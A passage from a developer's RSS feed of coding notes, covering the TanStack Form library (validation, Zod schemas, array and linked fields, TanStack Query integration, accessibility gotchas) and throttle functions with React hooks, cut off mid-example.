&lt;p&gt;For thousands of rows, render only the rows on screen with &lt;a href=&quot;https://tanstack.com/virtual/latest&quot;&gt;TanStack Virtual&lt;/a&gt;.&lt;/p&gt;
</content:encoded><category>react</category><category>typescript</category><author>Zander Martineau</author></item><item><title>TanStack Form</title><link>https://zander.wtf/notes/tanstack-form/</link><guid isPermaLink="true">https://zander.wtf/notes/tanstack-form/</guid><description>TanStack Form is a headless form library. It gives you form state, validation and submission, and you bring your own markup. Field names and values are…</description><pubDate>Mon, 28 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TanStack Form is a headless form library. It gives you form state, validation and submission, and you bring your own markup. Field names and values are fully typed from &lt;code&gt;defaultValues&lt;/code&gt;, and each field subscribes to its own slice of state, so typing in one input doesn&apos;t re-render the whole form. Reach for it when a form has client-side validation, async checks, dynamic arrays or linked fields. For a simple form that posts and reloads, a plain &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; with &lt;code&gt;FormData&lt;/code&gt; (or a Server Action) is enough.&lt;/p&gt;
&lt;h2&gt;Install&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;npm i @tanstack/react-form
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Basic form&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;useForm&lt;/code&gt; holds the state. &lt;code&gt;form.Field&lt;/code&gt; renders one field through a render prop and hands you &lt;code&gt;field.state&lt;/code&gt; plus the handlers. Call &lt;code&gt;e.preventDefault()&lt;/code&gt; yourself, then &lt;code&gt;form.handleSubmit()&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useForm } from &apos;@tanstack/react-form&apos;

export function SignupForm() {
  const form = useForm({
    defaultValues: {
      email: &apos;&apos;,
    },
    onSubmit: async ({ value }) =&amp;gt; {
      console.log(value)
    },
  })

  return (
    &amp;lt;form
      onSubmit={(e) =&amp;gt; {
        e.preventDefault()
        form.handleSubmit()
      }}
    &amp;gt;
      &amp;lt;form.Field
        name=&quot;email&quot;
        validators={{
          onChange: ({ value }) =&amp;gt;
            value.includes(&apos;@&apos;) ? undefined : &apos;Enter a valid email&apos;,
        }}
        children={(field) =&amp;gt; {
          const showError =
            field.state.meta.isTouched &amp;amp;&amp;amp; !field.state.meta.isValid

          return (
            &amp;lt;div&amp;gt;
              &amp;lt;label htmlFor={field.name}&amp;gt;Email&amp;lt;/label&amp;gt;
              &amp;lt;input
                id={field.name}
                name={field.name}
                type=&quot;email&quot;
                value={field.state.value}
                onBlur={field.handleBlur}
                onChange={(e) =&amp;gt; field.handleChange(e.target.value)}
                aria-invalid={showError}
                aria-describedby={showError ? `${field.name}-error` : undefined}
              /&amp;gt;
              {showError &amp;amp;&amp;amp; (
                &amp;lt;p id={`${field.name}-error`}&amp;gt;
                  {field.state.meta.errors.join(&apos;, &apos;)}
                &amp;lt;/p&amp;gt;
              )}
            &amp;lt;/div&amp;gt;
          )
        }}
      /&amp;gt;

      &amp;lt;form.Subscribe
        selector={(state) =&amp;gt; [state.canSubmit, state.isSubmitting]}
        children={([canSubmit, isSubmitting]) =&amp;gt; (
          &amp;lt;button type=&quot;submit&quot; disabled={!canSubmit}&amp;gt;
            {isSubmitting ? &apos;Saving…&apos; : &apos;Sign up&apos;}
          &amp;lt;/button&amp;gt;
        )}
      /&amp;gt;
    &amp;lt;/form&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;field.handleBlur&lt;/code&gt; sets &lt;code&gt;isTouched&lt;/code&gt;, so errors wait until the user has left the field.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;form.Subscribe&lt;/code&gt; re-renders only when the selected values change. Use it for anything that reads form-wide state.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;canSubmit&lt;/code&gt; stays &lt;code&gt;true&lt;/code&gt; until the form is touched, then goes &lt;code&gt;false&lt;/code&gt; while any field is invalid.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Validation&lt;/h2&gt;
&lt;h3&gt;Field validators&lt;/h3&gt;
&lt;p&gt;Each validator gets &lt;code&gt;{ value, fieldApi }&lt;/code&gt; and returns an error or &lt;code&gt;undefined&lt;/code&gt;. Pick when it runs with the key: &lt;code&gt;onChange&lt;/code&gt;, &lt;code&gt;onBlur&lt;/code&gt;, &lt;code&gt;onSubmit&lt;/code&gt; or &lt;code&gt;onMount&lt;/code&gt;. Every sync key has an async twin (&lt;code&gt;onChangeAsync&lt;/code&gt;, &lt;code&gt;onBlurAsync&lt;/code&gt;, …) with its own debounce (&lt;code&gt;onChangeAsyncDebounceMs&lt;/code&gt;). This is where a &quot;username taken&quot; check goes (compare with a hand-rolled &lt;a href=&quot;/notes/debounce/&quot;&gt;debounce&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useForm } from &apos;@tanstack/react-form&apos;
import { isUsernameTaken } from &apos;./api&apos;

export function UsernameForm() {
  const form = useForm({ defaultValues: { username: &apos;&apos; } })

  return (
    &amp;lt;form.Field
      name=&quot;username&quot;
      validators={{
        onChange: ({ value }) =&amp;gt;
          value.length &amp;lt; 3 ? &apos;At least 3 characters&apos; : undefined,
        onBlur: ({ value }) =&amp;gt;
          /^[a-z0-9_]+$/.test(value)
            ? undefined
            : &apos;Lowercase letters, numbers and _ only&apos;,
        onChangeAsyncDebounceMs: 500,
        onChangeAsync: async ({ value }) =&amp;gt;
          (await isUsernameTaken(value)) ? &apos;That username is taken&apos; : undefined,
      }}
      children={(field) =&amp;gt; (
        &amp;lt;&amp;gt;
          &amp;lt;input
            value={field.state.value}
            onBlur={field.handleBlur}
            onChange={(e) =&amp;gt; field.handleChange(e.target.value)}
          /&amp;gt;
          {field.state.meta.isValidating &amp;amp;&amp;amp; &amp;lt;span&amp;gt;Checking…&amp;lt;/span&amp;gt;}
          {field.state.meta.isTouched &amp;amp;&amp;amp; (
            &amp;lt;em&amp;gt;{field.state.meta.errors.join(&apos;, &apos;)}&amp;lt;/em&amp;gt;
          )}
        &amp;lt;/&amp;gt;
      )}
    /&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The async validator only runs when the sync one passes. Set &lt;code&gt;asyncAlways: true&lt;/code&gt; to change that.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;field.state.meta.errors&lt;/code&gt; holds every current error. &lt;code&gt;field.state.meta.errorMap.onBlur&lt;/code&gt; (etc.) gives you the error from one trigger.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;asyncDebounceMs&lt;/code&gt; on the field sets a default debounce for all its async validators.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Schema validation with Zod&lt;/h3&gt;
&lt;p&gt;Any &lt;a href=&quot;https://standardschema.dev&quot;&gt;Standard Schema&lt;/a&gt; library (Zod, &lt;a href=&quot;https://valibot.dev&quot;&gt;Valibot&lt;/a&gt;, ArkType, Effect Schema) works directly. No adapter needed. Pass the schema to the form&apos;s &lt;code&gt;validators&lt;/code&gt; and the errors land on the matching fields:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useForm } from &apos;@tanstack/react-form&apos;
import { z } from &apos;zod&apos;
import { createAccount } from &apos;./api&apos;

const schema = z.object({
  name: z.string().min(1, &apos;Required&apos;),
  age: z.number().min(18, &apos;You must be 18 or over&apos;),
})

export function AccountForm() {
  const form = useForm({
    defaultValues: { name: &apos;&apos;, age: 0 },
    validators: {
      onChange: schema,
    },
    onSubmit: async ({ value }) =&amp;gt; {
      await createAccount(value)
    },
  })

  return (
    &amp;lt;form.Field
      name=&quot;age&quot;
      children={(field) =&amp;gt; (
        &amp;lt;&amp;gt;
          &amp;lt;input
            type=&quot;number&quot;
            value={field.state.value}
            onBlur={field.handleBlur}
            onChange={(e) =&amp;gt; field.handleChange(e.target.valueAsNumber)}
          /&amp;gt;
          {field.state.meta.isTouched &amp;amp;&amp;amp;
            field.state.meta.errors.map((error) =&amp;gt; (
              &amp;lt;p key={error?.message}&amp;gt;{error?.message}&amp;lt;/p&amp;gt;
            ))}
        &amp;lt;/&amp;gt;
      )}
    /&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Schema errors are issue objects, not strings, so render &lt;code&gt;error.message&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;onSubmit&lt;/code&gt; receives the schema&apos;s &lt;em&gt;input&lt;/em&gt; values. If the schema transforms data, call &lt;code&gt;schema.parse(value)&lt;/code&gt; in &lt;code&gt;onSubmit&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;You can also pass a schema to a single field: &lt;code&gt;validators={{ onChange: z.string().min(3) }}&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Array fields&lt;/h2&gt;
&lt;p&gt;Put &lt;code&gt;mode=&quot;array&quot;&lt;/code&gt; on the parent field, then render one sub-field per item with a bracketed name:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useForm } from &apos;@tanstack/react-form&apos;

export function TeamForm() {
  const form = useForm({
    defaultValues: {
      people: [] as { name: string }[],
    },
  })

  return (
    &amp;lt;form.Field name=&quot;people&quot; mode=&quot;array&quot;&amp;gt;
      {(field) =&amp;gt; (
        &amp;lt;div&amp;gt;
          {field.state.value.map((_, i) =&amp;gt; (
            &amp;lt;div key={i}&amp;gt;
              &amp;lt;form.Field name={`people[${i}].name`}&amp;gt;
                {(subField) =&amp;gt; (
                  &amp;lt;input
                    aria-label={`Person ${i + 1} name`}
                    value={subField.state.value}
                    onChange={(e) =&amp;gt; subField.handleChange(e.target.value)}
                  /&amp;gt;
                )}
              &amp;lt;/form.Field&amp;gt;
              &amp;lt;button type=&quot;button&quot; onClick={() =&amp;gt; field.removeValue(i)}&amp;gt;
                Remove
              &amp;lt;/button&amp;gt;
            &amp;lt;/div&amp;gt;
          ))}
          &amp;lt;button type=&quot;button&quot; onClick={() =&amp;gt; field.pushValue({ name: &apos;&apos; })}&amp;gt;
            Add person
          &amp;lt;/button&amp;gt;
        &amp;lt;/div&amp;gt;
      )}
    &amp;lt;/form.Field&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Other array helpers on the field: &lt;code&gt;insertValue&lt;/code&gt;, &lt;code&gt;replaceValue&lt;/code&gt;, &lt;code&gt;swapValues&lt;/code&gt; and &lt;code&gt;moveValue&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Linked fields&lt;/h2&gt;
&lt;p&gt;A field&apos;s validators only re-run when that field changes. Use &lt;code&gt;onChangeListenTo&lt;/code&gt; (or &lt;code&gt;onBlurListenTo&lt;/code&gt;) to re-run them when another field changes too, e.g. confirm password:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useForm } from &apos;@tanstack/react-form&apos;

export function PasswordForm() {
  const form = useForm({
    defaultValues: { password: &apos;&apos;, confirmPassword: &apos;&apos; },
  })

  return (
    &amp;lt;form.Field
      name=&quot;confirmPassword&quot;
      validators={{
        onChangeListenTo: [&apos;password&apos;],
        onChange: ({ value, fieldApi }) =&amp;gt;
          value !== fieldApi.form.getFieldValue(&apos;password&apos;)
            ? &apos;Passwords do not match&apos;
            : undefined,
      }}
      children={(field) =&amp;gt; (
        &amp;lt;input
          type=&quot;password&quot;
          value={field.state.value}
          onChange={(e) =&amp;gt; field.handleChange(e.target.value)}
        /&amp;gt;
      )}
    /&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;With TanStack Query&lt;/h2&gt;
&lt;p&gt;Load with &lt;code&gt;useQuery&lt;/code&gt;, save with &lt;code&gt;useMutation&lt;/code&gt;, and &lt;code&gt;await mutation.mutateAsync()&lt;/code&gt; inside &lt;code&gt;onSubmit&lt;/code&gt;. &lt;code&gt;isSubmitting&lt;/code&gt; stays &lt;code&gt;true&lt;/code&gt; until that promise settles. See &lt;a href=&quot;/notes/react-query/&quot;&gt;React Query&lt;/a&gt; for the Query side.&lt;/p&gt;
&lt;p&gt;Render the form only after the data is there, so &lt;code&gt;defaultValues&lt;/code&gt; is correct on the first render. To put server errors back on fields, call &lt;code&gt;formApi.setErrorMap()&lt;/code&gt; with a &lt;code&gt;{ form, fields }&lt;/code&gt; object. Each field error clears when the user edits that field.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useForm } from &apos;@tanstack/react-form&apos;
import { useMutation, useQuery, useQueryClient } from &apos;@tanstack/react-query&apos;
import { ApiError, getProfile, updateProfile, type Profile } from &apos;./api&apos;

export function ProfilePage() {
  const { data, isPending, isError } = useQuery({
    queryKey: [&apos;profile&apos;],
    queryFn: getProfile,
  })

  if (isPending) return &amp;lt;p&amp;gt;Loading…&amp;lt;/p&amp;gt;
  if (isError) return &amp;lt;p&amp;gt;Could not load your profile&amp;lt;/p&amp;gt;

  return &amp;lt;ProfileForm profile={data} /&amp;gt;
}

function ProfileForm({ profile }: { profile: Profile }) {
  const queryClient = useQueryClient()
  const mutation = useMutation({
    mutationFn: updateProfile,
    onSuccess: (saved) =&amp;gt; queryClient.setQueryData([&apos;profile&apos;], saved),
  })

  const form = useForm({
    defaultValues: profile,
    onSubmit: async ({ value, formApi }) =&amp;gt; {
      try {
        const saved = await mutation.mutateAsync(value)
        formApi.reset(saved)
      } catch (error) {
        if (error instanceof ApiError) {
          formApi.setErrorMap({
            onSubmit: { form: error.message, fields: error.fields },
          })
          return
        }
        throw error
      }
    },
  })

  return (
    &amp;lt;form
      onSubmit={(e) =&amp;gt; {
        e.preventDefault()
        form.handleSubmit()
      }}
    &amp;gt;
      {/* fields… */}
      &amp;lt;form.Subscribe
        selector={(state) =&amp;gt; state.errorMap.onSubmit}
        children={(error) =&amp;gt;
          error ? &amp;lt;p role=&quot;alert&quot;&amp;gt;{String(error)}&amp;lt;/p&amp;gt; : null
        }
      /&amp;gt;
    &amp;lt;/form&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;formApi.reset(saved)&lt;/code&gt; sets the values &lt;em&gt;and&lt;/em&gt; the new defaults, so the form is clean again after a save.&lt;/li&gt;
&lt;li&gt;A server check you want to run as part of validation, before &lt;code&gt;onSubmit&lt;/code&gt;, can go in the form&apos;s &lt;code&gt;validators.onSubmitAsync&lt;/code&gt;. It returns the same &lt;code&gt;{ form, fields }&lt;/code&gt; shape.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;onSubmit&lt;/code&gt; returns normally after &lt;code&gt;setErrorMap&lt;/code&gt;, &lt;code&gt;isSubmitSuccessful&lt;/code&gt; is still &lt;code&gt;true&lt;/code&gt;. Check &lt;code&gt;canSubmit&lt;/code&gt; or the error map, not that flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Reusable fields with &lt;code&gt;createFormHook&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The docs recommend this for real apps. Bind your UI components to a custom &lt;code&gt;useAppForm&lt;/code&gt; once, and each form gets &lt;code&gt;form.AppField&lt;/code&gt; with &lt;code&gt;field.TextField&lt;/code&gt; and friends, all still typed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// form-context.tsx
import { createFormHookContexts } from &apos;@tanstack/react-form&apos;

export const { fieldContext, formContext, useFieldContext, useFormContext } =
  createFormHookContexts()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// fields.tsx
import { useId } from &apos;react&apos;
import { useFieldContext, useFormContext } from &apos;./form-context&apos;

export function TextField({ label }: { label: string }) {
  const field = useFieldContext&amp;lt;string&amp;gt;()
  const id = useId()
  const showError = field.state.meta.isTouched &amp;amp;&amp;amp; !field.state.meta.isValid

  return (
    &amp;lt;div&amp;gt;
      &amp;lt;label htmlFor={id}&amp;gt;{label}&amp;lt;/label&amp;gt;
      &amp;lt;input
        id={id}
        value={field.state.value}
        onBlur={field.handleBlur}
        onChange={(e) =&amp;gt; field.handleChange(e.target.value)}
        aria-invalid={showError}
        aria-describedby={showError ? `${id}-error` : undefined}
      /&amp;gt;
      {showError &amp;amp;&amp;amp; (
        &amp;lt;p id={`${id}-error`}&amp;gt;
          {field.state.meta.errors
            .map((error) =&amp;gt;
              typeof error === &apos;string&apos; ? error : error?.message,
            )
            .join(&apos;, &apos;)}
        &amp;lt;/p&amp;gt;
      )}
    &amp;lt;/div&amp;gt;
  )
}

export function SubmitButton({ label }: { label: string }) {
  const form = useFormContext()
  return (
    &amp;lt;form.Subscribe
      selector={(state) =&amp;gt; [state.canSubmit, state.isSubmitting]}
      children={([canSubmit, isSubmitting]) =&amp;gt; (
        &amp;lt;button type=&quot;submit&quot; disabled={!canSubmit}&amp;gt;
          {isSubmitting ? &apos;Saving…&apos; : label}
        &amp;lt;/button&amp;gt;
      )}
    /&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// app-form.tsx
import { createFormHook } from &apos;@tanstack/react-form&apos;
import { z } from &apos;zod&apos;
import { fieldContext, formContext } from &apos;./form-context&apos;
import { SubmitButton, TextField } from &apos;./fields&apos;

export const { useAppForm } = createFormHook({
  fieldContext,
  formContext,
  fieldComponents: { TextField },
  formComponents: { SubmitButton },
})

export function ContactForm() {
  const form = useAppForm({
    defaultValues: { name: &apos;&apos;, email: &apos;&apos; },
    validators: {
      onChange: z.object({
        name: z.string().min(1, &apos;Required&apos;),
        email: z.email(&apos;Enter a valid email&apos;),
      }),
    },
    onSubmit: ({ value }) =&amp;gt; console.log(value),
  })

  return (
    &amp;lt;form
      onSubmit={(e) =&amp;gt; {
        e.preventDefault()
        form.handleSubmit()
      }}
    &amp;gt;
      &amp;lt;form.AppField
        name=&quot;name&quot;
        children={(field) =&amp;gt; &amp;lt;field.TextField label=&quot;Name&quot; /&amp;gt;}
      /&amp;gt;
      &amp;lt;form.AppField
        name=&quot;email&quot;
        children={(field) =&amp;gt; &amp;lt;field.TextField label=&quot;Email&quot; /&amp;gt;}
      /&amp;gt;
      &amp;lt;form.AppForm&amp;gt;
        &amp;lt;form.SubmitButton label=&quot;Send&quot; /&amp;gt;
      &amp;lt;/form.AppForm&amp;gt;
    &amp;lt;/form&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;useAppForm&lt;/code&gt; takes every &lt;code&gt;useForm&lt;/code&gt; option. &lt;code&gt;form.AppField&lt;/code&gt; takes every &lt;code&gt;form.Field&lt;/code&gt; prop.&lt;/li&gt;
&lt;li&gt;Components in &lt;code&gt;formComponents&lt;/code&gt; must sit inside &lt;code&gt;&amp;lt;form.AppForm&amp;gt;&lt;/code&gt; to get the form context.&lt;/li&gt;
&lt;li&gt;To split a big form across components, use &lt;code&gt;withForm&lt;/code&gt; from the same &lt;code&gt;createFormHook&lt;/code&gt; call.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Gotchas and accessibility&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Always call &lt;code&gt;e.preventDefault()&lt;/code&gt; in the &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; &lt;code&gt;onSubmit&lt;/code&gt;, or the browser does a full-page submit.&lt;/li&gt;
&lt;li&gt;Give a reset button &lt;code&gt;type=&quot;button&quot;&lt;/code&gt; or call &lt;code&gt;e.preventDefault()&lt;/code&gt; before &lt;code&gt;form.reset()&lt;/code&gt;. A native reset event can clear &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; elements unexpectedly.&lt;/li&gt;
&lt;li&gt;Pair every input with a &lt;code&gt;&amp;lt;label htmlFor&amp;gt;&lt;/code&gt; and a matching &lt;code&gt;id&lt;/code&gt;. &lt;code&gt;field.name&lt;/code&gt; works for flat forms. Use &lt;code&gt;useId()&lt;/code&gt; in shared components or array rows, where names contain brackets or repeat.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;aria-invalid&lt;/code&gt; and point &lt;code&gt;aria-describedby&lt;/code&gt; at the error element, but only once there is an error to show.&lt;/li&gt;
&lt;li&gt;Don&apos;t show errors before &lt;code&gt;isTouched&lt;/code&gt;. &lt;code&gt;onChange&lt;/code&gt; validators run on the first keystroke. On submit, &lt;code&gt;handleSubmit&lt;/code&gt; marks every field as touched, so the errors appear then.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;disabled&lt;/code&gt; submit buttons can&apos;t be focused and give no reason. Consider &lt;code&gt;aria-disabled&lt;/code&gt; and let &lt;code&gt;onSubmitInvalid&lt;/code&gt; move focus to the first error.&lt;/li&gt;
&lt;li&gt;Import types such as &lt;code&gt;AnyFieldApi&lt;/code&gt; from &lt;code&gt;@tanstack/react-form&lt;/code&gt; if you need to type a helper that takes a field.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>react</category><category>typescript</category><author>Zander Martineau</author></item><item><title>Throttle</title><link>https://zander.wtf/notes/throttle/</link><guid isPermaLink="true">https://zander.wtf/notes/throttle/</guid><description>A throttled function runs at most once every interval ms, however often it&apos;s called. Unlike debounce, it keeps firing while the events keep coming. Use it…</description><pubDate>Mon, 28 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A throttled function runs &lt;strong&gt;at most once every &lt;code&gt;interval&lt;/code&gt; ms&lt;/strong&gt;, however often it&apos;s called. Unlike &lt;a href=&quot;/notes/debounce/&quot;&gt;debounce&lt;/a&gt;, it keeps firing &lt;em&gt;while&lt;/em&gt; the events keep coming.&lt;/p&gt;
&lt;p&gt;Use it for continuous events where you want steady updates: scroll, resize, pointer move, drag, sliders.&lt;/p&gt;
&lt;h2&gt;JavaScript&lt;/h2&gt;
&lt;p&gt;It runs on the first call, then ignores calls until &lt;code&gt;interval&lt;/code&gt; has passed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const throttle = (fn, interval) =&amp;gt; {
  let last = 0
  return (...args) =&amp;gt; {
    const now = Date.now()
    if (now - last &amp;gt;= interval) {
      last = now
      fn(...args)
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;TypeScript&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;export const throttle = &amp;lt;Args extends unknown[]&amp;gt;(
  fn: (...args: Args) =&amp;gt; void,
  interval: number,
) =&amp;gt; {
  let last = 0
  return (...args: Args) =&amp;gt; {
    const now = Date.now()
    if (now - last &amp;gt;= interval) {
      last = now
      fn(...args)
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Compare with &lt;a href=&quot;/notes/debounce/&quot;&gt;debounce&lt;/a&gt;: debounce resets a timer on every call, throttle checks the clock.&lt;/p&gt;
&lt;h3&gt;Don&apos;t drop the last call&lt;/h3&gt;
&lt;p&gt;The catch with the version above: calls inside the interval are thrown away, &lt;strong&gt;including the last one&lt;/strong&gt;. Scroll to the bottom quickly and the handler may never see the final position.&lt;/p&gt;
&lt;p&gt;This version keeps only the latest call and runs it when the interval ends. The React hooks below use it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export const throttleTrailing = &amp;lt;Args extends unknown[]&amp;gt;(
  fn: (...args: Args) =&amp;gt; void,
  interval: number,
) =&amp;gt; {
  let last = 0
  let id: ReturnType&amp;lt;typeof setTimeout&amp;gt; | undefined
  return (...args: Args) =&amp;gt; {
    clearTimeout(id)
    const wait = Math.max(interval - (Date.now() - last), 0)
    id = setTimeout(() =&amp;gt; {
      last = Date.now()
      fn(...args)
    }, wait)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;h3&gt;Scroll: progress bar and back-to-top button&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const progress = document.querySelector&amp;lt;HTMLElement&amp;gt;(&apos;#progress&apos;)!
const backToTop = document.querySelector&amp;lt;HTMLElement&amp;gt;(&apos;#back-to-top&apos;)!

const onScroll = throttle(() =&amp;gt; {
  const max = document.documentElement.scrollHeight - window.innerHeight
  progress.style.transform = `scaleX(${window.scrollY / max})`
  backToTop.hidden = window.scrollY &amp;lt; 600
}, 100)

// passive: we never call preventDefault, so the browser can scroll without waiting for us
window.addEventListener(&apos;scroll&apos;, onScroll, { passive: true })
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Track pointer position&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const sendCursor = throttle((x: number, y: number) =&amp;gt; {
  socket.send(JSON.stringify({ type: &apos;cursor&apos;, x, y }))
}, 50)

document.addEventListener(&apos;pointermove&apos;, (e) =&amp;gt; sendCursor(e.clientX, e.clientY))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Throttle to the frame rate instead&lt;/h3&gt;
&lt;p&gt;For purely visual work (moving an element with the pointer, parallax), throttle to the browser&apos;s paint cycle with &lt;code&gt;requestAnimationFrame&lt;/code&gt; instead of a fixed interval.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const rafThrottle = &amp;lt;Args extends unknown[]&amp;gt;(fn: (...args: Args) =&amp;gt; void) =&amp;gt; {
  let frame: number | undefined
  let latest: Args

  return (...args: Args) =&amp;gt; {
    latest = args
    frame ??= requestAnimationFrame(() =&amp;gt; {
      frame = undefined
      fn(...latest)
    })
  }
}

window.addEventListener(
  &apos;scroll&apos;,
  rafThrottle(() =&amp;gt; {
    header.classList.toggle(&apos;is-stuck&apos;, window.scrollY &amp;gt; 0)
  }),
  { passive: true },
)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Before you throttle a scroll handler, check if you need one. &quot;Is this element on screen?&quot; is better answered by &lt;a href=&quot;/notes/intersection-observer/&quot;&gt;&lt;code&gt;IntersectionObserver&lt;/code&gt;&lt;/a&gt;, and many scroll effects can be pure CSS (&lt;code&gt;position: sticky&lt;/code&gt;, scroll-driven animations).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;React hooks&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;useThrottledValue&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Throttle a &lt;strong&gt;value&lt;/strong&gt;. It updates at most once per &lt;code&gt;interval&lt;/code&gt;, and always settles on the latest value.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useEffect, useRef, useState } from &apos;react&apos;

export function useThrottledValue&amp;lt;T&amp;gt;(value: T, interval = 200): T {
  const [throttled, setThrottled] = useState(value)
  const last = useRef(0)

  useEffect(() =&amp;gt; {
    const remaining = interval - (Date.now() - last.current)
    const id = setTimeout(
      () =&amp;gt; {
        last.current = Date.now()
        setThrottled(value)
      },
      Math.max(remaining, 0),
    )
    return () =&amp;gt; clearTimeout(id)
  }, [value, interval])

  return throttled
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;useThrottledCallback&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Throttle a &lt;strong&gt;function&lt;/strong&gt;. Same identity between renders; always calls the latest &lt;code&gt;fn&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useLayoutEffect, useMemo, useRef } from &apos;react&apos;
import { throttleTrailing } from &apos;./throttle&apos;

export function useThrottledCallback&amp;lt;Args extends unknown[]&amp;gt;(
  fn: (...args: Args) =&amp;gt; void,
  interval = 200,
) {
  const fnRef = useRef(fn)
  useLayoutEffect(() =&amp;gt; {
    fnRef.current = fn
  })

  return useMemo(
    () =&amp;gt; throttleTrailing((...args: Args) =&amp;gt; fnRef.current(...args), interval),
    [interval],
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;useScrollY&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;A small hook built on top of it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export function useScrollY(interval = 100) {
  const [y, setY] = useState(0)
  const onScroll = useThrottledCallback(() =&amp;gt; setY(window.scrollY), interval)

  useEffect(() =&amp;gt; {
    onScroll()
    window.addEventListener(&apos;scroll&apos;, onScroll, { passive: true })
    return () =&amp;gt; window.removeEventListener(&apos;scroll&apos;, onScroll)
  }, [onScroll])

  return y
}

function BackToTop() {
  const y = useScrollY()
  if (y &amp;lt; 600) return null
  return &amp;lt;button onClick={() =&amp;gt; window.scrollTo({ top: 0, behavior: &apos;smooth&apos; })}&amp;gt;Back to top&amp;lt;/button&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;With React Query&lt;/h2&gt;
&lt;p&gt;Debounce or throttle? With a search box you want the result for the &lt;em&gt;final&lt;/em&gt; text, so debounce. With a slider or a map you want the results to follow along &lt;em&gt;while&lt;/em&gt; the user drags, so throttle.&lt;/p&gt;
&lt;h3&gt;Live results while dragging a slider&lt;/h3&gt;
&lt;p&gt;The slider moves smoothly on every change. The query fires at most every 300ms, so the results update while dragging without sending a request for every pixel.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { keepPreviousData, useQuery } from &apos;@tanstack/react-query&apos;
import { useState } from &apos;react&apos;
import { useThrottledValue } from &apos;./useThrottledValue&apos;

function PriceFilter() {
  const [maxPrice, setMaxPrice] = useState(500)
  const throttledMax = useThrottledValue(maxPrice, 300)

  const { data: products = [], isFetching } = useQuery({
    queryKey: [&apos;products&apos;, { maxPrice: throttledMax }],
    queryFn: ({ signal }) =&amp;gt;
      fetch(`/api/products?maxPrice=${throttledMax}`, { signal }).then((r) =&amp;gt; r.json()),
    placeholderData: keepPreviousData,
  })

  return (
    &amp;lt;&amp;gt;
      &amp;lt;label&amp;gt;
        Max price: £{maxPrice}
        &amp;lt;input
          type=&quot;range&quot;
          min={0}
          max={1000}
          value={maxPrice}
